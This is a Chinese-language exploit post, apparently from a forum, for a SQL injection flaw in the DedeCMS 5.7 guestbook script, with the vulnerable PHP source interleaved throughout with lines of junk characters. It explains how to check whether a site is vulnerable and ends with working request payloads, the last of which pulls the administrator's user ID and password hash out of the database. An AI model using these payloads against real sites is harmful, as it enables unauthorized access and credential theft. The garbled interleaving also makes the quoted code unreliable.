影响版本为5.7
! f5 p' E1 S: |8 ~6 X/ @) ]4 |/ x- }8 t' J! I S1 L! t) U
漏洞文件edit.inc.php具体代码:
0 ]9 N8 ?! Z: R3 S7 x8 z) L- L0 t! v [' _9 G( R
< ?php
& X: n9 W; q- T1 B( ~
( p, W; _' j9 a. @: {2 O5 ]if(!defined('DEDEINC')) exit('Request Error!');
9 S% M0 {5 h5 E9 F! d1 k U$ p
. a G! _% _, I9 e; d. Z
) m6 M7 B' ~+ c! e" I
/ f( F Y# ]" b% \if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
D$ y7 Z" X1 X( D# d7 N( B
" s( {7 u2 c6 Eelse $GUEST_BOOK_POS = "guestbook.php"; ) n3 r. A8 [- u
5 z5 s" e2 }( ]0 z# `
8 F% S1 w- e+ q3 l' f
& g, D& g+ Y/ \6 r( `
$id = intval($id); * Y! ^. C; _9 A& P }8 x
# E% f8 v* E! I& a2 t! t0 U1 J2 Cif(empty($job)) $job='view'; - S! ]# d. a$ d2 Y& Q) n; q. r
3 X B# \) m; F
# q0 F, ^( x$ f$ i# v
3 M+ k: [9 C( eif($job=='del' && $g_isadmin) 8 h8 U+ p7 f7 o U) Y! s1 T) r
9 z L% L/ W2 f- \
{
2 g4 f" y @4 W+ d+ m3 r
$ k; v- j, \$ A2 C: a$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); % t9 D9 k* z c6 ?" Y/ Z8 H6 N
: _# u' \( n, `6 M z
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
' o& q( T0 L u' Y! O( W) ^
: ]/ R, u, I% v; }( x1 m1 F, lexit();
1 e, B0 ]: Y* t b4 l5 W5 P L5 G4 I' S
} * n. K9 T: @& l- q6 _, [ c
i+ x6 {9 d% T) w( P. A& T8 X' o
else if($job=='check' && $g_isadmin) " }! H. e: Y- m; B
4 E. l' C- D( d+ V2 Q
{
$ \- f" i, y' V: z* G+ U* z* M! K; q" i4 \2 T' S
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 3 J3 [1 g1 [- ~4 k1 }. ]$ F( p- w/ d
; X& F+ D' Q* ?$ H
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); , Z* {- H8 ]# N% K
+ k2 H C- ]3 G) c" T* uexit(); y6 U+ ^1 Y# T- H6 w) A
$ R6 l" E& D9 J. p, b- Q
}
f0 j$ m7 p8 j: `3 g" D8 s5 C/ y* ^' M3 a6 h5 R7 X Z
else if($job=='editok')
9 x0 G) k$ Y( l; f7 g
$ g, ` H: y/ i" }! [% o: Q+ \9 s& J{ : ]/ t. s. g# Q, w9 P0 Z6 N; \
# r, Q4 I# G. I9 V9 l
$remsg = trim($remsg); ( i2 k" z U e9 W+ i( R, y
+ E6 F$ d. e( b. G& ?" ^$ n
if($remsg!='')
+ l4 W4 E$ j* V: o. n! _* a2 Y' R6 S }& _
{
' \: K1 x# i P0 m# r" d( N
/ u$ j E" d; P$ k//管理员回复不过滤HTML By:Errorera blog:errs.cc # y! w, m: ^& n5 k0 E0 o4 [
6 S1 I7 o, s n3 w* E; e
if($g_isadmin) ; x" H$ c- }, [
; }5 @% F8 K! M* B% ?3 Y
{ + P4 C# {% W. L1 B
8 ?( f: T' k9 X! m$ w
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
& d: }# I$ R& q* N% C
/ z4 \6 O+ `0 P' h) p//$remsg <br /><font color=red>管理员回复:</font> } % A( E2 b; O' S* H8 `# D g
1 G8 y4 S$ Y" p) Gelse 4 f0 s5 }' f: B, b# h
; I5 H3 R* [* ~( V d4 E{ ( u6 E. D- u) l/ ~; o j
4 }8 o/ R, v3 v5 Z$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); - O$ c' j5 a" ^. @- \" t1 b$ n' H& O
7 a; `/ ~% ]8 H' K: E" ~- e) o& B
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 4 i! ~$ U* P6 t7 Y& @1 {* \
" \. _& I8 e) j9 j9 r3 F# c% H
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
1 ]6 b( ^: M0 q/ e5 q- s; x: A1 t, P. Q6 R9 _ n. F; i
$msg = $oldmsg.$remsg; 6 f; S" \+ @ Z+ c. f9 @5 L- L
3 y/ O8 V( ~$ ]$ {8 f0 `- R} / q# \8 @/ S3 {% w# ^5 @
" @. e# q6 `; Y' q2 S+ b% M& U
} * E6 V h/ v' T/ f' }4 k
3 e2 R5 |' ^6 Q//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
6 ` _3 O: y; s- K4 I" k9 a- f0 @) N ?
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
% s, W) U0 U8 ~. N
4 `& l* t6 R. j }ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); % U H0 K' E6 m, w" D8 w: L
$ E) `- D, [2 h; D
exit(); 9 x% H D: I% |( o) J2 X, k
7 Y9 ?, L+ T% J( g l8 F} 4 `* i4 n0 }8 E$ i
' z3 u" Q! M6 p7 ^9 U P# [
//home:www.errs.cc
/ h1 W+ I: s9 A: a3 ]6 I) Y5 M
$ @! ~: G. _% L/ R$ {& C6 vif($g_isadmin)
9 k- `( }1 p1 C' ^, ?0 _) i' e; R9 s# ?) o' O3 V1 J; ]% I. K
{
% d0 w5 z: a1 a7 }) B, _! U) j, A3 ?2 d1 U" f3 b& i
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
9 j5 `" Z r- T: M' i" |- n! [8 }- ^, d! U8 T4 N" I6 `+ r( G7 E* u' J
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
" v l( O* \, W: O* R" J, S
* Y4 _" N) I* j. Y3 _4 O} % r7 L' V' c9 c2 H3 v+ Z; t' J
! W! O e1 t+ k0 z1 a
else
! Q! v! S8 U; W9 f4 G h1 `
$ T/ d0 O5 @1 w$ D+ M2 R{
$ L! N, ~1 R8 b: ^4 W* O$ l
* v) b' W' y$ |% S g2 J x' B* M$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); ( n! G; c; U; X- v* y8 X
" z* q9 M& r. P: n9 R: U5 ~ u
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
5 {( U; h$ j& {4 K1 }* g$ q8 M5 L6 R m& _2 K
} 漏洞成功需要条件:
/ ]$ b% e- R5 ~4 x6 y1. php magic_quotes_gpc=off" X% ^ u! t6 S! y
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。+ G, N) [7 `2 v) Y( P P v. o
4 z8 @0 ?2 Z6 o" v
怎么判断是否存在漏洞:4 A* H: ~/ f- O2 B2 M
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,7 y8 ~+ ?3 x( f. {% `. {
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
( ]/ f) I( j) A' _9 D8 r& }访问:
3 c6 N- o9 }& o- \# d+ {$ o3 \9 g
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了1 E: e! _9 W0 r L; P: \! X V
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证' n' P C/ K) P, q" S
8 h" P' c3 I0 p1 r/ { J/ b1 K
% O9 a$ x b: M6 Y8 z5 q r) p明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
) G+ [8 a' u; |7 ~/ S# {7 w3 \0 ?如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
' g% h" U. v$ H$ m( ~ @5 D那么再次访问
" F) m1 c1 O0 o7 Y
6 g& X$ [! q, V" m% n; rwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().4 v: M1 P5 A0 O
9 b. @% `, K6 r1 {. Y& a5 D+ I
大概利用就是这样,大家有兴趣的多研究下!!# z% Z" a3 k0 @8 D: k6 N
0 u* r& R! M8 ~* f, R- ?; l
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
8 L* ?/ Z. d# {& G3 t: q2 \2 D' c% O& z
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |